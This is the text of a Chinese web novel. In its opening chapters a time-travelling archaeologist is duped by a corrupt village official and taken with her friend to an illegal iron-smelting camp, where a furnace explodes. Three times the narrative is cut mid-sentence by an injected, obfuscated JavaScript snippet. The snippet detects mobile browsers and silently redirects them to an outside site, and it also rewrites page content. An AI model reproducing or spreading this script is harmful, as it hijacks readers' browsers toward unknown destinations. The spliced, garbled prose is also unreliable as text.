《开局一座黑铁窑》 1. 神棍 “你当家的怎么没的？” “去官窑烧炭，掉进了窖井，当场折了脖颈子。” 苏冶说着，将盖着红布的鸡蛋兜子推到了曹经手边。 曹经见状抬起手，两根指头覆上红布，余下三只钻到底下摸索片刻，掂量出分量后，这才点头道: “你送到衙门的仵作文书户房本吏倒是瞧过，说得过去，只不过……” 苏冶见他这般，心中明白他话里有话，直截了当地道：“还得哪些门路，您知会我便可。 曹经闻言，眉头微微一皱，心中暗自嘀咕这小娘子说话忒不讲究，但他转眼又想到蛋兜子里的几贯钱，还有自己此番的来意，便按下了心中的不悦，反而添了几分耐心，说道： “还得三个同甲的民户作保，等到年底修黄册，户头自是销了他的名字。” 苏冶听明白了其中关窍——还得要钱。 两年前在曹家村入户的时候，记的是她和她的倒霉丈夫两个人的名字，如今这家里只剩了她一人，征税却要按两年前报的人头缴，她不当这个冤大头。 只是如今官府吃得紧，层层往下盘剥，想要销户少缴一份，不容易。 于是她找到了村里有点交情的王寡妇介绍了门路，找到了里正曹经，据说专门是搞这门道的，能帮上忙，人情的银子算下来倒年年缴税划算了许多。 曹经的吃相虽不好看，但苏冶心里也有个底，要是他狮子大开口，太过了，大不了走其他门路便是。 苏冶顺着他的话故作迟疑： “那这保人……” 曹经见状换了副爽快腔调: “说到底你是个外姓女子，在村里难免不便，今日既然来了，索性替你料理妥当。明日约个地方，见见保人，画个文书便是。” 苏冶闻言心中有些疑虑，不大相信这事儿这么容易办成，但面上未曾表露些什么，对曹经说道：“多谢大人了。” 两人商定好了地方和时辰，曹经便站起身来，拍了拍身上并不存在的灰尘，准备离去。 —— 正欲离开时，不远处小径飘过来一个黑影，非人不似鬼，非鬼不像人 。 青天白日的，莫不是撞了甚么脏东西，曹经想。 他伸长伸脖子眯了眼，直到那黑影靠近，他才看清，不是邪祟，是个活人，还个男人。 这人身材高大，裹着一件领口大敞的黑袍，年岁难辨，不肥不瘦，发间斜插一根竹筷，缀着几片艾草，额前黑发炸开，活似遭了雷劈。 比起头上滑稽的炸毛，这人的脸更像是遭了雷过，一片焦炭雅黑，只剩下几分眼白提醒着他这是张人脸。 “这黑鬼……这……这人是？” 随着炭脸男人靠近，曹经转头看向了苏冶，语气带着几分狐疑。 只见苏冶脸上一派平静，将目光投向了对面，开口问道: “阁下是？” 那炭脸见状没有说话，只将腰间悬着的裂口葫芦取了下来，葫芦口对准了曹经两人。 曹经面露不虞，朝后退了半步，到底有几分忌惮这些勾当。 正在此时，苏冶上前，探手摁住了炭脸的葫芦。 “不消几日就要交粮，没闲钱与你，去别家。” 话毕，她又转身看向曹经，有意压了压声音说道： “这人是个走江湖的神汉，前些个日子路过，给过吃食打发，不曾想今日又来了。” 曹经将信将疑，却也不深究，反倒从蛋兜子里摸出三枚铜钱，笑着朝对面递了过去: “这姑娘新寡，也是可怜，你烧些符水，与她驱驱阴气。” 炭脸听了这话不言不动，活像个木头。 曹经手悬在当空，进退不得有几分难看，暗忖这人莫不是个聋子或是哑巴。 见状，苏冶伸手接过了曹经手里的铜钱。 “您费心了，这人多是耳朵不灵，等下我在纸上落几个大字与他看便是。” 见那几个铜钱落到了苏冶手里，曹里正心里有几分不快，但也不好发作，毕竟这三块铜板比不上这蛋兜子里的九牛一毛，于是点了点头，踱着方步离开了。 —— 曹经的身影彻底消失在小路尽头时，苏冶转身推开了吱呀作响的木门。 再出来时，她手里搬了两个木墩子，放在棚子前的四方桌旁，抬起头爽快地同炭脸说道: “坐。” 炭脸拂衣坐下，默了半晌后，开口道: “我殁了？” 苏冶正提着豁口茶壶给他续水，闻言没有抬头，放下手里的东西后，才抬起眼对上那双被煤灰衬得格外清亮的眸子: “你殁了。” “……” 山风穿过茅檐，卷起了炭脸额间几缕发丝。 苏冶和他四目相对，忽然笑出声来，笑声盘旋在空气中，惊走了屋梁下那几只乌鸦。 也不知是不是她的错觉，对面那张黢黑的脸上也浮起了淡淡笑意。 这倒稀奇，毕竟这人大多数时候都是一副魂游天外的心不在焉的模样。 “有饭吗？” “啊？” 苏冶本以为他要质问自己给他开死亡证明的事情，没料到他先惦记起吃食。 见她摇头，炭脸直截了当道： “饿。” “……” 这人清瘦了不少，怕是耗一会儿就要饿死，心里尚存的一点人文关怀驱动着苏冶走进了灶房。 没过一会儿，烟囱里钻出了汩汩炊烟。 —— 锅里的溢出的热气熏到苏冶脸上的时候，她隔着氤氲水雾，又见着屋外那张黑脸。 不知曹经想不想得到，屋外那个被他当做鬼的可怜人，就是苏冶口中已经“殁了”的夫君——李三。 真正掉进窖井的，不是李三，是她自己。 前世，她跟着考古队伍下窖井勘探时，遇到了塌方，她不知道自己有没有丧命，只知道自己失去了意识。 再睁眼，便对上一张俊得扎眼的脸。 她呆了几秒后，询问对方的身份，那人几分诧异过后，料想她是摔坏了脑子，便道："姓李，行三，唤我李三便可。" 她又问及自身，李三说，她是自己从人牙子手里买来的，后来两人成了亲，自己只知道她姓苏。 苏冶当时脊背发凉，心里直打鼓，暗想自己莫不是被拐进了深山，这下没了记忆更是没了说法，可眼下举目无亲，只得暂且装作信了，不好扯破脸皮。 李三瞧出她眼里的防备，也不多言。 往后几日，李三待她倒还算周到。白日里生火做饭，夜里以她病体初愈为由，自己打地铺，把床榻让给她。 苏冶自然不会为这点小恩小惠昏头，总盘算着要找机会出去打听，看可有人识得她，说清她与李三的干系。 可惜他们虽也算住在村里，却偏在深山老林边上，最近的邻居也在二里开外，她怕李三心疑，不敢贸然打听。 正当她心里那出"拐带民女"的悬疑大戏愈演愈烈时，李三却在一个清晨褪下了粗布衣裳，换上一袭道袍。 "我已决意苦修，此后尘俗尽了，你就当没我这个夫君。" 言讫，他挥挥衣袖，潇洒离去。 李三大概不曾想到，这正遂了苏冶的意。 来历不明的丈夫，不清不楚的身份，她心里多少有些悬着。 这下倒好，一屋一田，落得一身轻松。 直到后来粮税单送到她的手上，她才想起来，自己依旧是个社会动物，采菊东篱的隐逸大业未竟，倒得先为五斗米折折腰。 于是，她做了决定，李三既斩断了尘缘，她也应去衙门谋划寡妇文书，替他彻底了断 —— 饭已经上了锅，只等蒸熟。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177132|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>苏冶觉着屋里有些呛，便到了屋外等候。 李三已洗去一脸炭黑，露出干净的皮相。 夕阳透着老树枝打在了他的侧脸，投下稀碎的光斑。 苏冶大大方方瞧着他的样子，没什么避讳。 李三这般八尺昂藏、宽肩窄腰的品相，搁她的时代，大概率会被星探挖掘出道。 眼下他出家当了道士，他倒真应了“出道”二字。 不过看他举手投足，倒更像是江湖术士。 苏冶不知他为何要去做神棍，但想到她所处到的这个时代，多少能明了些。 她也听王寡妇说起过，早两年，大周还不是这般模样，虽不算盛世，好歹百姓能图个太平。谁知司徒家当了反贼，硬生生从中境撕下五州之地。 江山易主也就罢了，偏生司徒家又没那个本事收拾残局，上京城墙挂着李皇一族的头颅，皇帝的亲儿子却逃出生天，至今生死不明。 南境五州首鼠两端，明里不反抗，暗里也不归顺，就这么僵持着。 苏冶所在的豫州，恰是这南境五州的咽喉要冲，战火虽未烧到此处，可谁都知道，这太平日子怕是过不长了。 乱世，人命比香灰轻，日子比黄连苦，肚子填不饱，念想自然容易寄托给神佛，所以战乱年代往往盛产道士仙姑。 想来如今这行太卷，他莫不是干不下去了，想重返尘俗了。 —— 菜端出来的时候，李三正仰卧在她编的那张竹榻上，阖着眼，看着像是睡着了。 苏冶正要唤他，他却自己睁了眼，视线一转，精准钉在了饭桌上。 还没待苏冶说句话，他已经以一个轻快的姿势滚下了竹榻，坐在了四方桌旁的矮墩上。 野菜团子，菘菜豆干被他吃出了鲍鱼翅肚的氛围感。 “你平日里吃得饱饭吗？” 苏冶看着他狼吞虎咽的模样，脑海里不禁浮现落魄道士穿着破掉的草鞋四处乞讨的模样。 李三闻言加急了嘴里的进度，等到东西都咽下去后，随口道: “吃不饱。” 苏冶不知道他这话有几分真假，还是问道: “吃不饱怎么办？” 李三轻飘飘的声音传了过来: “饿死。” “……” —— 饭毕，李三倒是自觉地进了灶房收拾碗筷。 轮到苏冶躺在那张竹榻上，望着渐暗的天色，开口问他: “这回还走吗？” 她没有问李三为什么回来，因为这对她来说不重要。 但她得知道他走不走，无论她认不认这个夫君，他若要留下，那销他户头的事便作罢，末了这是他的屋子，住在这里，总得有个身份。 李三从屋里出来，掸了掸黑袍上的草屑。 “明日便走。” 苏冶想着这人心志倒是坚定，在外饿了一年，还是要坚持梦想，心下有了几分欣赏。 “成。”她点了点头，“那今日你还可以同我说会子话解闷。” 李三颔首。 她和李三便是这样，始终保持着微妙和气。 一年前李三离开后，她在进山砍柴的时候结识了王寡妇。 王寡妇知道苏冶有个要离家问神的丈夫，拍着大腿骂: “挨千刀的夯货！放着热炕头不睡，倒叫你个妇道人家收拾烂摊子!” 苏冶只笑笑没接话。 她心里门儿清，自己从未将李三真当作夫君，也没有在他身上寄托过任何念想，更没有想过依靠着他生活。 他于自己而言不过是个知道身份名字的过客，他求他的道，她过她的日子，两不相干。 两人像山涧里的水，各流各的，可若他的浑水冲了她的田埂，她也不介意挥起锄头另开条渠。 不怨他，也不惯他，各人顾各人的饭碗便是。 2. 陷阱 翌日清早，天刚蒙蒙亮。 苏冶睁开眼时，屋子里已经没了李三的人影，她想起了什么，忙拿起墙边篮子里的布包，三步并作两步往屋外跑去。 说来也巧，李三还未走远，背影尚在来时的小径处晃动。 “等等！” 苏冶一边高喊，一边快步追赶到。 听到身后动静，李三顿住脚步，转身就见苏冶气喘吁吁地跑来，手里还攥着个鼓鼓囊囊的布包。 “喘口气儿先...“”苏冶扶着膝盖，上气不接下气。 李三也不催促，就这么静静等着。 待气息稍匀，苏冶将布包往他手里一塞：“备了些干粮，路上垫补垫补，你若是辟谷，赏给路边乞儿也罢。" 话音刚落，还没等李三说话，苏冶已经转身，背影渐隐在晨雾中 —— 回屋后，苏冶径直去找了王寡妇。 王寡妇闺名王喜，本有个恩爱的丈夫，两人日子过得也算和美，只可惜那人后来折在了战场，一儿半女也没留下，只余下王喜一人。 此后村里不少泼皮惦记，欲要吃她的绝户，她索性搬到了村西头的偏僻处，离村子里的人远了，倒是离苏冶这个两年前刚搬过来的外人成了近邻。 苏冶到王喜家里时，正赶上她烧火起灶。 瞧见苏冶，王喜开口问道：“吃了没？” “没，蹭你的。”说着，她随手拎起个小木墩，坐下后捡起了把柴火塞进灶膛。 王喜菜刀剁得噔噔响“曹经的事情办得怎样？” “说是还需要三个保人，教我今日酉时去化陂口的茶肆画个文书。” 王喜刀锋一顿，转身瞪眼:“不对劲儿，当年我走这路子可没这讲究。” 苏冶面色不改道:“战场上折了的人，真真没了，板上钉钉，我这儿全凭一张嘴，自是有些难办。” 王喜蹲到她跟前，压低声音：“我陪你去，好歹有个照应。” “若那姓曹的存心刁难，多你一个不过多遭份罪。”苏冶拨弄柴火，“安心待着吧。” 王喜看她这般，知道犟不过，也不再多言。 她知晓苏冶的脾性，为人爽利，做事情也看实处重结果，对熟人，嘴上不客套，遇事却靠得住。 想着，她便对苏冶说: “那你多留个心眼儿。” 苏冶笑笑:“自然。” —— 饭毕，苏冶正要走，王喜忽地拽住她，塞来一只钱袋。 “这是？”苏冶诧异道。 “前番你托我卖的物件都出手了，这是你的份。”王喜笑道。 苏冶掂了掂钱袋，眉梢一挑：“多了吧？” 王喜道:“手艺是你的，自然你拿大头。” 苏冶没有推辞，只是拉开钱袋的抽绳，取出一把铜钱，塞回王喜手里。 “快交粮了，你给自个儿再留些，剩下的都是我的。” 话毕笑着拍了拍钱袋，大步离去。 王喜望着她的背影，摇头轻笑。 —— 一年前她刚搬到这里时，认识了苏冶，俩人家里没男人，日子都难过。 不想没过多久，苏冶扛着个麻袋上门，里面装着些铁锹，问她认不认识人，托她找门路售卖。 王喜在曹家村这么多年，多少有路子，帮苏冶牵线镇上的朱记铁铺，竟分得不少银钱。 后来那铁铺的朱老板找到她，说这东西品相好，想加价买方子，苏冶却断然拒绝。 那铁铺老板没法子，便想着向高价苏冶讨来做这东西的方子，苏冶却是不愿意卖，也不愿多说原因。 王喜晓得她是个有主意的，便不再问，只替她周旋，既不断财路，也不惹祸端。 如此一年下来，苏冶攒下来不少体己钱，王喜也跟着得了实惠。 —— 日中，化陂口茶肆。 苏冶独坐在方桌前，看着曹经一派悠闲地姗姗来迟。 “李家娘子来得早。” 寒暄后，曹经落了坐。 苏冶朝他身后逡巡一圈， “大人不是说有三位同乡。” 曹经抿了口茶，皱眉搁下茶盏，欲言又止道: “这三位……唉” 苏冶心下懒得与他虚与委蛇。 “大人有话但说无妨 。” 曹经装模作样看了她一眼，而后偏头叹道: “本是与这三人说妥当了，今日不知怎的，一概推脱不愿来，我思前想后，怕是……” “怕是得使些银钱疏通。”苏冶替他接了难为话。 曹经脸色变了变，却不似刚才拧巴，声腔嘹亮了几分。 “这话说得，乡里乡亲的，事情还没办成，谈论这些伤了和气。” 曹经轱辘话乱冒的时候，苏冶已将备好的钱袋拿了出来。 “这里有五百文，劳烦大人到县里置办像样东西，代我引见。” 曹经见着钱袋，不再推辞，反而道: “娘子有所不知，县里的东西不比乡下，想挑些像样的，怕是……” 苏冶来了这里两年，不是没去过县里，五百文能不能挑些像样的她自然知道。 是这曹经想吃回扣，欲从她这里多榨些银子出来。 这时候她越是大方，对方摸清了她的底细越是会得寸进尺。 “九月就要完粮，这五百文还是东挪西借来的。” 曹经却不愿松口: “本官也体谅娘子有难处，只是如今这世道，谁都不好过，你家官人身上是人命纠纷，户房不好落章，都怕闹出蹊跷，同乡也是壮着胆子替你作保，自是不能亏待了他们的好心。” 就在此时，苏冶身后传来一道声音。 “大人会体谅人。” 说着，王喜已在苏冶身旁落了座 。 “我这妹子手上实在紧巴，前些日子还找我挪借银子，家里没了汉子，一人实在负担不起来。” 王喜放心不下她，还是跟了过来。 “不过大人也说的得在理，日子难过，乡里人冒险作保，不能亏待了他们。” 说着，她解下肩头的褡裢，取出个钱袋 。 “替我妹子再添上两百文，大人行个方便，权当我们欠您个人情。” 王喜一套话倒说得天衣无缝，两方都给了面子。 两人认识这一年，苏冶不善经营的人情世故王喜倒帮了她不少忙。 曹经看着王喜推过来的银子，末了还是松了口，退了一步道: “也罢，娘子说的是个道理，本官也是顾念着同乡的好处，这样，你们同我跑一趟，今日就将三位同乡请来，这些银子也不买甚东西，本官替你们寻个酒楼，张罗一桌，喝上几杯，这事情自然算成了。” 苏冶和王喜心知肚明，曹经这是明着盘算，要把钱吃进酒水里，只不过到了这地步，别无他法。 “此事劳烦大人了。”王喜立马说道。 少了银钱的争执，曹经也展了眉头，变得爽朗。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177133|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “好说，今日结个相识，以后乡里人互相照应。” 于是三人离了茶肆，一同上了曹经来时的马车，朝县城去。 —— 车轮碾过崎岖的山路，发出沉闷的咯吱声。 苏冶靠在晃动的车厢内壁，方才茶肆里的一幕幕在脑海中闪回——曹经贪得无厌的嘴脸，讨价还价时的市侩模样，收下银钱后假意热络的做派。 表面看来合情合理，可细细琢磨，总觉得有什么地方透着说不出的古怪。 曹经从头至尾都似掉进了钱眼，明着想要多捞几分，也不甚避讳。 若只为索贿，大可直截了当，何必先说要三位保人，又改口设宴，这般迂回，倒像是..." 想到此处，马车突然剧烈一晃，她险些咬到舌头。 这颠簸来得蹊跷，苏冶去过县衙多次，官道平坦宽阔，断不会这般磕绊。 倏的，她想到了什么，猛地掀开青布车帘—— 窗外暮色沉沉，荒山野岭间只有一条羊肠小道蜿蜒向前，早已没了半分官道的影子 “觉着闷？” 曹经的声音冷不丁响起，语调里早没了先前的热络，倒多了几分疲惫的冷意。 苏冶强自镇定地放下车帘："去县衙似乎不该走这条路。" 这时候，一旁的王喜也反应了过来，心中乍起了警铃，看向了曹经。 曹经并未对她俩的疑惑做出反应，甚至没有一句解释，只道: “闷就掀开帷子透透气儿，路还长。” “县衙的路，这会儿也快到地方了吧。”苏冶道。 曹经仰靠车壁。 “谁说这是去县衙了。” 王喜霍然起身，却被苏冶死死拽住。 她看向曹经—— 果不其然，他手里握着把匕首，刚刚王喜若是扑了上去，多是要见血。 苏冶冷静下来后，看向曹经，问出了最核心的问题： “我俩还有命活吗。” 不知是打发她们去给人做小妾，还是记挂着她俩的心肝脾肺肾。 曹经打量着她，开口道: “有命活又怎样，没命又怎样，都是贱命。” “有命活我们就认了这时候的命。”苏冶没有说出后半句，若是没命，此刻她自然要拼命。 曹经褪去了面上扭捏的假象，只余下刻毒的冷漠。 “贱命活着不体面，死了也是占地方，我送你们去个好地方，给你们些用处。” 苏冶噤了声，转过头用眼神安抚身边的王喜。 她静下心来，将方才茶肆中的情形细细梳理了一遍，想通了这事情前后的因果 曹经先是提出需要三位保人，待她们筹措银钱后又改口设宴，这般反复，看似贪得无厌，实则另有盘算 他要的从来就不是银钱，而是她们心甘情愿地上这辆马车，在茶肆那种人多眼杂的地方，强行动手难免留下把柄。于是他故意演了一出贪财小吏的戏码，让她们以为破财就能免灾，那些讨价还价，假意让步，都是为了打消她们的戒心。 这般算计，曹经深谙人心，知道在什么情况下该进，什么时候该退，如何让人自己走进设好的局里。 事已至此，她掀开车帘，暮色已深，远山如蛰伏的巨兽。 夜风裹着一股子土腥气扑面而来，她忽然想起今晨送给李三的那个包袱。 若早知有此一劫，该在里面多塞两个馍的，留在家里也是要发霉，白白糟蹋了粮食…… 3. 黑窑 马马车碾过了崎岖的山路，驶进了一处山谷。 途中曹经放下了帷子，将外间景象遮了个严实。 车身突然猛地一颤，苏冶的肩胛撞在了厢板，待车夫勒紧缰绳的声响传来，外头已经有了些嘈杂的动静。 “下来。” 帘子被掀开，外边儿的天已经黑透了，借着火把的光亮，苏冶看见几个戴着斗笠的魁梧汉子立在车旁，其中似乎就有带她们来的车夫。 视线从这批人身上移开，她朝四周看去。 从远处看，这里是一处沟谷，夹在两山之间。 朝近处看，这是一处村落。 苏冶和王喜刚站稳脚跟，一队人马便迎面走来。 领头的仍是两个带着斗笠的汉子，这斗笠该是曹家军团的编制认证。 俩人身后跟着三个男人，年纪身形参差不齐，除了为首的高个儿，其余两人手上都拴着镣铐。 苏冶的目光被站在最后的那个青年人吸引了过去，原因倒是简单，那个人……那人太白了，活像误入鸡群的鹤。 即便灯火昏暗，那冷白的肤色依然醒目。 那人瞧着同此世的她一般年岁，不过十八九，大好青春，竟也被拐进了贼窝，果真世风日下。 “瞧什么呢？” 王喜看见她盯着某处发呆，用胳膊肘轻轻顶了她一下。 “没什么。” 苏冶收回了视线，朝曹经的方向看去。 那队人来了之后，他走上前，嘱咐了几句后，便转身上了马车。 临走前，他掀开了帷子看了眼苏冶。 “我瞧着你是个有能耐的，但进了这里，最好安分些，县里的窑子缺几个暗门子，若敢生事，那也是个好去处。” 王喜正要发作，车帘已经落下，朝着来时的路离去。 曹经带走了两个人，现如今这里只剩下两个曹经的人和两个人戴斗笠的。 “杀千刀的，早晚要糟报应……” “走远了，骂给谁听。”一道女声打断了王喜的低语。 苏冶和王喜转过身，火把映照下，一个身材臃肿的中年妇人站在那里。 “赵大娘。” 两个斗笠军团的成员语气恭敬地问候了一声。 “跟着我来吧。” 被称作赵大娘朝着他们点了下头便径自走进了院子，像是在走某些熟透了的程序。 王喜和苏冶对视了一眼后，跟着她走了进去，一同的还有身后那三人，斗笠军团则守在了门口。 进来后，苏冶环视了一圈，一进三合院，一个正厅，左右两排厢房，围合了一个天井。 赵大娘指向西厢，对苏冶俩人道： “你俩住那间。” 又对那三人示意东厢，“都把手脚放干净些。” 这话是对那三个男人说的，眼神却扫过了两个姑娘。 “大娘。”三人中那个瘦猴似的男子油腔滑调道，“那俩娘子倒好说，我们三爷们儿，挤一间多少有些狭促。” 赵大娘瞥了他一眼，“你这豆芽子身板，能占多少地方。” 那瘦猴听了倒是没有恼，依旧腻着嗓子道： “我虽轻巧了些，终究是个男人，您行行好，换个稍微宽敞点的地方。” 赵大娘见状不再搭理他，径直朝着门口走去，瘦猴还想纠缠，被门口的人拦了下来，只得作罢。 待赵大娘离去，院门落栓，众人面面相觑。 瘦猴刚想要自我介绍，王喜已拉着苏冶进屋插上了门闩。 —— “都进去了。”王喜从门缝观察了一会儿后说道。 屋子里陈设十分简单，一张木床，一张四方桌几个矮敦子，必要的生活用品还算齐全，屋角还放着一桶水，看着倒是干净。 “你瞧什么呢?” 苏冶和王喜并排坐在床边。 “和几个不知哪里来的野男人住一院里，可不得多留些心眼儿。”王喜道。 “别担心，刚刚赵大娘不是说了，让他们手脚放干净些。”苏冶道。 “这话也就说说，这世上最不可靠的就是男人的……” 说着，王喜使了个眼色，二人不禁失笑。 等屋里的笑声散去后，俩人都静了下来，似乎都有些发蒙。 突然，王喜带着几分哑意的声音传来，打破了一室岑寂。 “我对不住你，若不是我，你连那曹经的面都见不上，何至于到这鬼地方……” 说着，王喜的声音越来越抖，胳膊也有些打颤。 苏冶不大会安慰人，只伸出了一只手，轻轻抚了抚她的背。 从被曹经骗上马车到现在，王喜一滴眼泪都没掉过，连句害怕也没说过。 即便平日里王喜为人处世透着几分老道，但说到底不过二十出头，心智尚不如前世的苏冶成熟，平日里见惯了人情，却不曾触过刀光生死。 苏冶知道她一路上强壮镇定，此刻没了外人，消了一路颠簸的麻木，看清了眼前处境，自会有些崩溃。 “是我找你，才会认识曹经，若你今日不来帮我，也不会跟我遭了殃。”苏冶继续抚着她的背，“如今已经到了这里，便安下心来，总有法子能逃出去。” 苏冶毕竟是“死”过一回的人，对于眼前的一切，更能沉下心来面对。 最后，许是真的累了，王喜哭着哭着竟真的睡了过去。 —— 安顿好王喜，苏冶轻手轻脚拉开了门闩，来到了院子。 她心里不大安宁，想要摸探探这里的情况。 东南角落的柴棚处，一个黑影惊得她心头门跳。 她抚着气喘了几下，说来，她是有些怕鬼的。 那黑影觉察到了她的动静，站了起来，借着月光，苏冶看清了那人。 不是鬼，很好。 “怎么不待屋里。”苏冶对那人说道，“我叫苏冶，你呢。” 那人沉默了良久，就在苏冶以为他不会开口时，他声音传了过来。 “小白。” 倒是人如其名。 苏冶拍了拍草堆，邀他同坐。 “怎么到这里的？”苏冶加速她的查户口调查进度。 小白不答，坐了下来。 苏冶见状也没有追问，两人就这样坐在草棚下面，月光清亮，落了下来，覆住了小白一半面容，苏冶转过头，看得更清了些。 原来小白除了白，样貌十分好看，眉眼深邃，鼻梁高挺，高低是个美男子。 “你呢？” 就在两人都在沉默中的时候，小白突然开口问道。 苏冶并没有因为刚刚他不搭理自己的话而介怀什么，如实说道： “被骗来的。” 小白顿了顿，“你看着很聪明。”、 言外之意，你瞧着挺精，怎么也被骗了过来。 这话倒是逗笑了苏冶，“那你看的不准，我其实是个笨人。” 倒不是谦虚，苏冶知道，自己确实不是聪明人，但倒不是这件事情。 小白似乎不知道怎么接话，索性不再言语。 夜风习习，苏冶并没有感觉到冷，反而觉着十分清爽。 “你在看什么？”许是对她有几分兴趣，小白开口问道 苏冶转头看了他一眼，“没有什么，我在想事情。” “想什么？” “我在想……”，她突然朝着小白凑近了一分，“你长这么俊，我是不是该说些什么，给你留个好印象。” “………” 空气中陷入了一片寂静，苏冶却并没有为她不着调的话感到不好意思，没再关注小白脸上的表情，抬起头，目光再次返还给了月亮。 倒是小白，不知是听不下去还是觉得冷，总之站了起来，抖了抖衣襟上的露水，回了屋子。 “小心着凉啊。” 苏冶在他背后轻喊了一句后，对方的脚步肉眼可见加快了。 —— 盯着小白进屋后，苏冶脸上有些不正经的笑意消失不见了。 对症下药，不同的人有不同的赶法，这样的纯情少男，不能硬来，得用不着调的“少年脸红”大法。 苏冶起了身，抖落一身草屑后，走向了堂屋侧面的山墙。 错缝顺砌的砖墙同她的人生一般坎坷不平，她瞅准了凸出来幅度最大的一块，凭借不错的身高基础和身体灵敏度，踩砖抓脊，一跃而上，攀上了屋顶。 她只上了房，无意掀瓦，只想借着略高些的海拔打量打量这地方。 视线开阔了不少，更能清楚的看到，这村子位于东西走向的山沟之中，从地势落差判断，更北的地方大概概率有河流，村子位于河流南岸。 从她的方向朝西北看去，隐约可看见一片耕地，但面积不大。其他地方都没有一片像样的田， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177134|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 农业是大头的时代，这些人不种田，自然是有其他的活计，而且是以村子为单位，住宅区较为集中的分布就可以看出，典型专业化生产的布局。 敏锐的嗅觉让苏冶对着村子的来历已经有了较为合理的推测。 天亮后一切都会变得更清晰，想着，她回了屋。 临走时吹灭的油灯没有再亮起，她稍作收拾后，轻声走到床边，倒头就睡。 无论是前世还是今生，苏冶的睡眠质量都格外的高，无论白天多少糟心事，她都能有个睡眠效率极高的夜晚。 —— 翌日，公鸡打鸣，苏冶睁了眼，王喜已经起了身，在屋里来回转，不知道在忙些什么。 “起这么早。” 苏冶将被子叠好，看到王喜手里拿着打湿的抹布，正四处擦洗，身旁木桶里的水已变得有些浑浊。 “昨个累了太久，竟就睡了过去，也不晓得这屋子是什么人住过的，既然要住一段时间，总得收拾干净些。” 只不过一个晚上，王喜便从昨夜的破碎小狗进化成了迎接新生活的顽强女性，瞧着一身干劲。 “我来吧，你再去睡一会儿。” 苏冶拿过她手里的抹布，正欲擦洗椅子时，敲门声响起，赵大娘的声音传了过来。 “都起了没。” 苏冶上前拔了门闩。 赵大娘瞧见俩人都穿戴妥当了，便说道： “同我过来吧。” 苏冶没说什么，回头示意王喜，俩人跟着赵大娘走了出来。 对面屋三人已经站在了天井中央。 借着晨光，她总算将那三人的样貌看得更清楚了些。 为首的大高个约莫四十出头，方脸阔额，皮肤黝黑，一声腱子肉很结实，但苏冶的目光还是被他脸上刺配的字样吸引了过去——这是刺配流放的罪犯。 站在高个儿后面的瘦猴瞧着也是二十多岁的年纪，眼珠子来回轱辘转，东一眼西一瞥，恰巧在苏冶看她的时候对上了眼，那人没有躲开视线，推着两颊的肉绽放了一个自以为甜美实则让苏冶肠道起义的笑容，她连忙躲开了视线。 只不过，她躲开的视线恰巧落在了一旁的小白身上。 这回，笑容转移到了她的脸上，躲开的人变成了小白…… —— 几人跟着赵大娘出了屋，路上三三两两还有些人，都是在向北走。 “今天我先带你们，熟悉路，到了明日，自己去。”说着，赵大娘转过身来，眼神多了几分犀利，“也别想着跑，凡是能出去的地方都是有人的。” 话毕，众人沿着村道继续向北走，夯土路面上还凝着昨晚没有散去的夜霜。 转过一处晒谷场后，到了河边，远处的一切开始分明。 “这是……” 王喜的语气带着几分惊讶。 苏冶看着眼前情景，内心有处地方在隐隐跳动，眼前的一切她来到这个世界后，为数不多让她感觉真实和清晰的存在。 虽然距离远，但她还是看清了，那是三座一丈多高的腰鼓式土高炉，竖在黄泥浆筑成的地基上。 此刻只有一座在运作，沉闷的响声从颅内传来，三个工人正捏着橐囊，朝炉内输送空气，其余众人坐在不远处的地上，应该是轮班。 河流对面还有八间矿工寮。 果不其然，如她所料，这村子是个炼铁的黑窑。 苏冶前世学的是化工，后来读研选择了考古方向，专攻古代的冶铁技术。 职业习惯让她铁厂的味道十分敏感，从刚进村子的时候她就有了这样的嗅觉。 晚上对于地形和风向的观察让她更进一步确定了自己的猜测。 “今天有人教你们。”赵大娘指着高炉的方向对小白三人说道，又转身看向苏冶和王喜，“这里不开灶，伙房在下游，今天认了路，以后这几个爷们儿的吃食，一天两回，做好了送过来。” 得嘞，她和王喜原来是来当厨娘的。 “轮班，这几日先跟着学，等到手上熟了……”赵大娘还在解释他们这里的黑工机制时，苏冶的注意力却被远处的高炉吸引，隐隐觉察到有些不对劲。 “喂——” 察觉到了她明显的走神，赵大娘伸手在她眼前晃了下。 “怎的没了神……”突然，苏冶上前几步，打断了赵大娘的进程，朝着那个方向大喊。 “快跑！” 4. 爆炸 沉闷的爆裂声骤然响起，炉边那些人还未回神，裹着炉体碎片的铁水已经四散飞溅到了他们身上。 “啊——” 浓黑的烟从炸裂的炉膛里面涌了出来，瞬间将周围的人裹了进去，撕心裂肺的惨叫声从烟幕里断断续续传出。 